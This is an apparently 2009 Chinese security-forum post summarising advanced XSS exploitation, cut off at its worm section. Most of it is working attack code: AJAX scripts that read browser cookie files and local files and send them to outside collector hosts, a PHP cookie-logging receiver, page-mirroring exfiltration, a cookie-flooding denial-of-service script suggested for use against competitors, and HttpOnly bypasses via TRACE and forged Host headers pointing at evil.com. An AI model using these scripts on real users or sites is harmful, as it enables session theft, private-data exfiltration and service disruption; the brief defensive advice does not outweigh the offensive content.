XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
4 R4 v( T- e: a& Y9 o
! N% S; G0 S3 X3 X! i' F0 ~5 g+ IXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
% i/ R7 n* g' e+ B1 e- s! E
/ f7 q- v& Y/ P  b! Q

-------------------------------------------前言---------------------------------------------------------
% H+ r+ z: L) I. n9 [" r

, }8 a1 U0 F" o! r本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

; j4 T  N2 r! N$ F4 s3 k7 ^1 o
如果你还未具备基础XSS知识,以下几个文章建议拜读:
4 H: u' t/ G, H6 rhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
5 Y7 _: `: ?; zhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
7 D, Y' m3 Q; |http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
( \. q6 B8 C; f0 n



如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
7 l( a# {* i' `' \, x+ G$ n
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

2 N6 L- ?; |0 |  wBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

7 P6 a8 [/ F7 AQQ ZONE,校内网XSS     感染过万QQ ZONE.
; L+ }# W6 i. k( _3 @' E0 h
7 }- r( Y1 T$ u5 Y$ @- S, oOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
, v  I# C; q. B# W: ^6 l复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
9 }- u2 g1 b/ X8 Z. X% Y' F
/ i& n) ^, e" R( U
1 d/ o9 z8 [2 {& }; U
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
4 M- R: S3 h. X6 H% F) a3 m
, [/ q$ u3 k) y" E; `& K
6 @4 q# W$ F% k% \+ m4 F
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
: O1 m! e/ L7 f1 T8 \复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
; ~+ }0 m4 U% Q0 ]
4 M$ a0 I" z8 d0 E7 S7 l2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
' d  f* e. M& Z! N+ Z/ `0 C; t
' i3 Y! i6 Z2 C, l. k2 X4        XSS漏洞在输出和输入两个方面怎么才能避免.


1 L; {9 I" Y, T% W4 [6 A
' I0 ~+ }! H% K' L9 e------------------------------------------研究正题----------------------------------------------------------

1 m# n2 U! {* X! o% m
1 M! H* \% L0 Z( z* }  S
$ R; O( [# `: ~& B( I0 @6 R通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
7 o  D/ R( Z, E6 Z4 x* O复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
2 m/ L* G$ n! w. }8 H! F3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
# T) {6 C" z: a' x9 b
; |- u5 ^2 C  `6 G) c


  s/ |0 c/ ]7 ]9 d
* S) i  g, s$ I3 A: P; v. i(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
/ X6 X% ~+ Y9 }! X. L$ L
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

, r& x7 t, Q8 T" f

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
, A* I; f8 M/ r! o


    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

: ?: {2 p# e; |: @9 I. Q# O" D1 |

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
$ l% e2 h. e; L7 u3 Z8 v& @复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}

" m5 N1 e7 d( f$ P0 o

    function ajax_obj(){
# U6 a# X3 h4 ~3 u
0 n7 n4 O' r1 U! `( V! \    var request = false;

/ N& r/ h0 U& J( z0 ^5 |+ y    if(window.XMLHttpRequest) {

0 b$ [7 ^/ i2 i$ K$ N: @    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
# L* H# @( L9 K5 i* W- i) F
5 G1 l  `3 {* ]  Q7 o    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


% q! ~* c: _+ J( w
& ]+ P1 [0 {) n4 z) A3 ?    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 `1 |* |# s/ A8 e+ u* Y
    for(var i=0; i<versions.length; i++) {
* }  m* O' }% G$ r3 {8 p* @; W
1 A6 B* j" g+ u! ~" D    try {

    request = new ActiveXObject(versions);

    } catch(e) {}
5 r( h0 R! p# ]
' _* }" B6 j1 H. C  P    }
  A8 m: t* A0 L) [5 O
2 h2 N, A# B. }$ x0 K' W5 m    }

    return request;
0 Y! o; Y$ q: q; P* z9 W+ X: ^
    }
4 H% l. [( g; K- G, f/ O. ~
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
% v+ P: Z' s: M9 t
1 |9 c- n- m/ @2 T9 j* n    _x.open(_m,action,false);
$ O( K9 T8 J0 u* f% P
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
& M- `9 {% r  Z# U; y7 r
7 T% t/ F! H+ q# \/ i( U    return _x.responseText;

    }



/ d) N* t9 S4 ?0 ~# g/ w, l0 h    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

/ Z# ]5 ?0 }" s7 }    alert(txt);


5 k* }/ a9 C, n* m9 U
2 i+ G: r1 A4 s0 ]* ]: i    </script>
2 Y2 Z7 `9 g4 [0 m& h* b  z复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
( m: v: p2 C- ]: h* @# u
& T1 v8 q! ^, W1 O    function $(x){return document.getElementById(x)}



; t, i  M1 g4 a/ A4 g3 `    function ajax_obj(){
. |, J. I  N: [; ]1 n$ P7 l
    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

2 \, A% k) _4 S  F* B  [    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
" A+ d4 h9 d$ m, k8 w" o
9 K* y# y4 s+ M- l8 n
% J1 G$ {% E4 b9 @7 X/ _0 k; [( A
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; r1 k% n2 T+ z0 e) p# j8 ~
    for(var i=0; i<versions.length; i++) {

    try {
0 n. W! l+ @$ @. \8 i8 V; R, C
    request = new ActiveXObject(versions);
. {0 e, U! l: ]( ?: A
) ^# \, H+ j! j& W    } catch(e) {}

    }

    }

$ v& {* d5 ]3 S! u( z# J+ @    return request;

    }
* s' _9 v% N5 B+ c# `8 a/ }
) ^, o! q& a+ i# V4 }: y    var _x = ajax_obj();

9 c, ~8 y" m4 F- r6 x9 l2 W) n    function _7or3(_m,action,argv){
, m' T$ i; m+ n  p
; l7 y; S5 S- P( H. x    _x.open(_m,action,false);
* @/ p: p% i( z$ t' P
# v4 R8 o7 E6 q% F    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

" F7 B/ C. W6 j2 k3 S, G    _x.send(argv);

6 W, N9 C- u6 o, m6 @% x# _    return _x.responseText;

    }



    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);


, L6 q. g2 w# r# m( P
( [7 e5 a& N6 Z8 U9 F: p    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

" ?' s% o" a+ c- V% I" Q

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
+ e9 h7 n  s& U+ C+ \- i; c
  ]+ U8 d- W: {$ Z" u) l3 t: g/ k

<?   

& b/ _. U' Z+ p( ]5 _' `, v/*  
0 w7 q# c+ W( g* j# m5 ~! V! w
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
" K1 Q2 z9 t7 o. O' j: P' |
, j# T" D2 L; I9 c     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
: v) ], r3 y( R' T% S( u' q8 f) p
header("Content-Disposition: attachment;filename=kxlzx.htm");   

. N5 |0 g' b& Dheader("Content-type: application/kxlzx");   
* f# U3 J( o2 b2 O8 g+ ^
/*  

) a4 w6 p* |. d! O7 `     set header, so just download html file,and open it at local.  

5 \. N; n1 [; f( p*/  

  b( a, [1 U2 B, \  l/ Q7 z?>   
8 \6 ?* H" d3 q+ s0 D
1 _4 u; w' C# a* {4 X! J% S6 i<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

$ G6 }2 n7 j7 _- b0 O6 p     <input id="input" name="cookie" value="" type="hidden">   
! I! L% n" j$ r
</form>   

* b9 r( f$ T0 @% J7 Y<script>   

" Q% ~  {" T  r5 v- r6 Ofunction doMyAjax(user)   

{   

var time = Math.random();   
1 q7 m1 Z( p8 y. s+ j6 P! V2 ]8 B6 Z
/*  

2 I6 J! ^0 B  ~* G/ T) \the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
6 s9 k2 v) a6 E% ?! d/ c
*/  
+ V# P/ K/ K/ s  W( g# i5 Y
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

( e$ f) M( p2 W   
' ^3 c; b" k0 q8 F% J2 c
startRequest(strPer);   


! L6 H8 A- q: n
3 @) ?, T& ^; Q, n4 l6 a% x}   
5 C6 M+ I, w0 @! h& p
   
. f& f) \, d$ B2 o9 ?) B" H
function Enshellcode(txt)   

4 U* w% i& p- [% j7 ]- x; ~{   
5 f9 D$ e  b2 W7 L! D+ T0 x" k7 ~
var url=new String(txt);   
( _! T, }& [7 i  C; x
var i=0,l=0,k=0,curl="";   
- J& D# C. y0 n' S- t
l= url.length;   
8 v1 a3 o3 C$ H3 G/ j
for(;i<l;i++){   

k=url.charCodeAt(i);   
' j2 P' ^! W% D
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
4 f0 ^: X: m& H, c, b! Z
& l+ `0 g5 V2 |( Uif (l%2){curl+="00";}else{curl+="0000";}   

- c1 u7 z7 U2 |% H0 jcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
& J: y: u0 `; [0 `" x6 s
* C$ C2 R" e5 J6 Y; @4 {return curl;   
3 m* ^; i; j% `4 Q
( p+ o; Y7 }+ @* q}   
' j+ x/ ]$ H" S, [* y" x2 X( S
/ J4 a; m+ U* C# Y9 E: t, Q  t+ F   

& d3 p$ u6 E: X% i3 [   

: x  N3 N% m& J  L+ z% Uvar xmlHttp;   

function createXMLHttp(){   
1 d, M- x+ m( q8 k  k
/ S6 M& a3 t. ~8 y1 [6 V     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
2 |; e, Z! E9 Z0 p6 w. k
7 U: M) H1 u2 S6 p1 m" R     }   
# j8 v+ |1 s* ^0 q9 j$ }" `) n
: w' ^  d; p6 k. m+ V  G/ q# P& Z     else if(window.ActiveXObject){   

% J1 _) N; l" S5 R0 W! fxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

" j, n. N; u+ t3 \5 W! t2 ?! A}   
7 s" I5 R" e5 c( \
   
* \) @. X1 E7 r0 F; A2 V
function startRequest(doUrl){   

' D7 P# m1 b$ \) q5 B$ }, v' {   
- y7 h+ V2 _# F" Y' s; l! D1 J  o# M
     createXMLHttp();   
% E- `* a2 b# m/ ]( o

- p& [7 a% y, s" }0 G* u% h9 q
     xmlHttp.onreadystatechange = handleStateChange;   
. m/ e) K' |- q


     xmlHttp.open("GET", doUrl, true);   
( L, T. u. `( R: P: W- n


     xmlHttp.send(null);   




1 d; p9 X  J$ b; G; @) U) Q. ]
/ x" k: U) W9 R5 J7 E}   
: ^8 T: }5 q& e/ H( L) k) ]
   
; n! [- y( _5 V3 n
* |% G( w7 `: k$ d; ?8 I8 Bfunction handleStateChange(){   
) F1 R$ B" [" D1 A$ m
: i$ B% L7 B. t     if (xmlHttp.readyState == 4 ){   

6 o9 h  H/ F0 t* |* \" G9 x     var strResponse = "";   
8 b% e1 Q' \& U5 J! |5 h, F  k
: Q& i* B/ ~" F' A6 P$ Z$ R+ b     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

  v# ~4 \! x8 f; l1 V/ P3 `     }   
9 X# N& d3 g) {
+ ^* I7 q+ k2 b6 L) {0 b}   
0 i8 }% f. Z8 x( c) E
8 T1 @3 ^: y3 l2 Q# F& y   

   

! O: I7 N1 Y& X" l4 I& N. d. ]function framekxlzxPost(text)   
/ Y2 Q" E7 ~7 @5 O( r
{   

$ R6 g; X( [' U     document.getElementById("input").value = Enshellcode(text);   

4 k3 h$ g1 k, S) B/ {     document.getElementById("form").submit();   

% }+ _  b: H5 i. b0 T  I% i}   

   
( g. x% o& z& f, q2 q0 {* i( l
doMyAjax("administrator");   
3 j6 F. r) p5 s' v. V) {
7 `' L! J0 j) ^. w: _; e   

</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
! e5 S- H+ W9 G7 O% J8 |2 [
var xmlHttp;  
" ?7 T, W/ A: n
) k, d5 c0 o% ?: F1 O  w  Afunction createXMLHttp(){  

     if(window.XMLHttpRequest){  
8 s/ s5 @) U3 j
         xmlHttp = new XMLHttpRequest();         
2 s4 ]6 q+ @+ b% |: D4 _! y
/ h6 F7 ]5 i- G     }  
8 s( H6 C6 Q& h" a, h: v1 }% h' S
- j) T; D" x! a     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
6 g5 h0 P% y; P/ B
7 {- f# r, ~. r  s     }  

}  
2 a% L- U3 L2 [: j3 s. z* k
   
+ T  H+ a$ t7 h' k/ {
7 P* w, I5 o- y& _9 V) Wfunction startRequest(doUrl){  

- |8 y) h+ l* N* _$ k' t) }+ I* ]           
; x- B" t, }; G, Y4 u
     createXMLHttp();  

. C1 ]* L8 b; ^% M6 a. {" q8 k1 G      
& K5 _8 n, j& ?9 I
* w' }3 a& n/ R     xmlHttp.onreadystatechange = handleStateChange;  
7 T/ I+ C0 x- j" V# s, @4 _
      
, F4 t( S0 `8 N4 {2 t( s
/ c+ h/ P3 J9 X$ L; g7 H% x     xmlHttp.open("GET", doUrl, true);  

: k9 [6 K6 I0 ?8 ?1 [9 B. e$ N      

6 G9 X% |" v+ |6 z' Y8 b, }$ k0 N     xmlHttp.send(null);  

: X9 N' U$ i& n      
& Y) l) v; e5 j( a% _
      

}   

   
) [2 I& L( C) u; z" D
function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

& o, a5 d) t0 q+ m* [9 F             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

+ e+ a$ e# R/ G6 ^" Z; o! @               

     }  

2 \$ c5 [- n; n}  
% ]8 Y2 D8 M1 ]% W
6 v6 q/ ^$ S$ Y   
$ I8 Y  Q8 M; U6 C% v7 j, @
function doMyAjax(user,file)  

! s; a# ^+ g; p' s1 F; y. R* t# S{  

         var time = Math.random();  
: W8 z$ ?1 u7 i
           
* `: V5 I1 u# Y* a5 g* m9 {0 [
- _* D1 U+ W  e% U         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
7 y# m: p, Z- o5 \7 [" b1 V
( [2 h- V* ~) M+ |4 ~           

         startRequest(strPer);  

      

}  

" U# H7 O- X% [6 |! q0 V  T. k   
( F3 b- y, u  B3 B( O# r! b
8 ^. F! v1 \' m# z+ J2 A9 [2 l9 f. W* Dfunction framekxlzxPost(text)  
0 j6 v+ ^1 W4 V- A! F- n5 F% ]
: Y- R% p% O% p  _+ A- N{  
, M* q% F, q% ]( k
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
3 U, t) ^8 f3 I2 h9 w. f' y% ], \
- `  u' s% B7 h$ r5 `9 e     alert(/ok/);  
8 F8 @* s1 k( e( _
}  

* A7 }$ t6 @1 Y6 v3 w- v   

doMyAjax('administrator','administrator@alibaba[1].txt');  
/ H$ M- p+ G: W4 L' J
   
+ [( G; o0 D0 L! ]9 K
</script>


% k# j6 c' I& A* R" [
' F- ?- n& `% Z) \- H' x2 P7 Y7 J

a.php


0 l6 V. y1 u  f
- O/ u" K' ?1 O3 |! r, D6 s1 a<?php      
1 o0 v. c0 z7 I! }3 ?  L
   
! |" R, L- I$ g! |) h
( {" `5 v# F1 t' a$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
: s; A9 }" ?: l" d  s8 p
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
9 w2 l0 W5 H! T, }) Q
/ y8 z, b1 _. x  
, Z; F5 {- n/ B6 S
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
6 K4 o2 h, ^  K# k4 N
! t) G8 ?! Y, n4 p7 _fwrite($fp,$_GET["cookie"]);      

fclose($fp);   
3 J+ S" L% Z4 V  P0 D$ i1 K, m( t
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

" N" A0 p4 ?4 n& {# z: t5 y或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
; D0 z3 K: b* f$ T. S9 N利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

var image = new Image();
6 h# c/ E7 G$ s- P/ H# l
# N: C$ k( C% V2 H4 J$ E) ?: [8 ximage.style.width = 0;
1 Y5 D7 q  N( \' f
4 M0 O4 K, S# s. kimage.style.height = 0;

image.src = s;
9 X: z9 v5 I7 s" w
) V) @4 W2 |8 _1 ~+ b}

" C! w8 a9 V3 ?; qgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
( I: O8 p4 A% Z6 I: h& d这里引用大风的一段简单代码:<script language="javascript">

" a; t# O+ b0 i" `( avar metastr = "AAAAAAAAAA"; // 10 A
+ A- T2 O. ]. I3 i; `# P
var str = "";

while (str.length < 4000){

    str += metastr;

}
% B% B  g1 Z+ u& @3 a* z


/ d' I" ^  m5 k: m2 ^! Fdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

5 J( v) F& t( q6 W% x* z# f</script>

; U) Y4 c. Y( |详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
5 R! ~+ W$ f" |" _7 K( A复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

' G, Q  p) B3 I6 M. U3 D$ B- Q2 y假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
# S/ `8 g6 P4 a! j2 t, H* C





4 w/ E/ V. V, L8 ]0 l5 [; v(III) Http only bypass 与 补救对策:
, `1 m7 u$ u1 j% G6 L& y/ v9 M) G
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
% B* @7 S, g+ ~3 e0 N, h4 {以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
$ c% p: s) M2 u
<!--

function normalCookie() {
0 ~! W6 N  b+ W+ R% O; ]
- @/ o8 ~, m7 m* N4 ^6 w% l1 e' hdocument.cookie = "TheCookieName=CookieValue_httpOnly";
( W. y4 Z- m6 r
alert(document.cookie);

( \+ F, s3 F8 ~$ f}

. P; C7 G5 L/ i, g' T' Q% I2 a. Z$ A
. l6 \+ a& N3 S8 Q; C+ ?. W


function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
1 A, h/ N5 M: h
alert(document.cookie);}
2 @& P! A7 k7 B& J% ^% H

4 p# ?8 s% l- g- |
//-->
5 l; p" E. K* m- E2 S, r& J0 @8 _
</script>
" ?9 k$ n, b+ w2 Z0 B
3 `) F" [" ?5 G% l. N* ?$ x7 I
6 H5 h4 p$ S0 t5 V3 i% n1 @* a8 [
: N& d; P1 j: @2 z/ ?, w! u<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
% m) }& V( b% [0 l6 j" {
! P2 F. M/ a- B* L& o7 P/ s<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
# n+ @  D* d( D& I3 J/ a$ a复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
; u) _! U" ^2 \% w4 T; ?  c
) B+ _, N% R2 ?

var request = false;

        if(window.XMLHttpRequest) {
, h7 f# n0 J2 i  e6 ]+ S
( a  j# s  ]- u% Y3 y            request = new XMLHttpRequest();

" h! h4 j9 b" J( |8 D+ z; O            if(request.overrideMimeType) {
6 I7 n2 p9 u* m1 p, h
5 ?! [, J. W4 i. `                request.overrideMimeType('text/xml');

            }
  v( K+ A2 t4 n( ^# G
        } else if(window.ActiveXObject) {
$ ?4 t2 f  ^3 {4 W
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 p! `% C# t4 I
            for(var i=0; i<versions.length; i++) {
% _/ o3 w, J' r( _
4 h- `2 _% P; y0 d# z, t/ e# h& _* G2 Y                try {

                    request = new ActiveXObject(versions);

  d2 `: K% B* p                } catch(e) {}

            }
6 l: u. J" R8 ]  q- L$ w3 j  i
        }
7 ]% k! J* a0 e0 t* h" @7 o- c
xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
$ A  O* K& b/ {1 d; x/ j5 r2 [! w
xmlDoc=xmlHttp.responseText;
  m3 o9 F6 \, }' V+ X2 u, p
alert(xmlDoc);
, g7 a6 S. P/ b8 ~. }% O- j
</script>
8 j$ `- d, l: V: L) g复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

+ A2 L' Y7 l% ~- w$ {) ]var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

  ]& v2 L, R& U$ X, bXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
1 _. \! B7 Z9 M& W
XmlHttp.send(null);
4 N! O3 y' U. r! s1 q" F2 P4 B2 C
var resource=xmlHttp.responseText

$ _+ Y+ k3 y) [+ i$ N8 z. xresource.search(/cookies/);

+ z2 T0 h6 S- M" t: V2 v# \' l......................

</script>
# x. f" O* e" }: {- T* {
& A% I( l( Q( O+ J0 p
) B' H2 k) C8 V3 T! b# ~- W* {* U& ]$ y" S


0 F/ m; ]$ m4 [; V& B/ r) B如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

+ T' h0 N, ~9 c3 Q; x: s[code]

$ B, K* A) i$ T2 m% bRewriteEngine On
! ^( G& K/ `. N2 V; S" N7 z# z" Z$ v
$ X4 N: h$ a% w* T1 uRewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]



Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
( F1 e6 E8 T0 ^$ f; F4 q5 t
acl TRACE method TRACE

" E  Y- U  w! D3 n! S* W...
" R' |) M4 d3 {7 q, |. k) h
http_access deny TRACE
$ R# i" X1 e0 \2 w* h复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
2 ?# n" j$ C& e. W
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
4 g5 j) C* u& g# V0 I3 ^! Y
XmlHttp.open("GET","http://www.google.com",false);

4 [% s4 T1 _( A4 |# [XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

* p4 G6 ~' @* b$ n& [XmlHttp.send(null);

  |* S( w7 ]  @9 n5 Z</script>
0 @8 `0 [& k4 y9 }复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

0 C. f: a  R+ P% S  \+ J# cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

0 b( c3 r) Z3 u' j: p( H, S% L
- R0 C5 z: E2 W2 y6 @
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
6 H0 l$ y/ v! c& p  c
3 w, v  g6 _! QXmlHttp.send(null);
) [$ n* `/ ^$ w1 p0 ]
<script>
/ r$ G/ B3 I5 _) W( D3 `" R复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
' I5 V; D* a% G复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
- g( A( Y4 a! s. f% o% P
6 天前 08:27
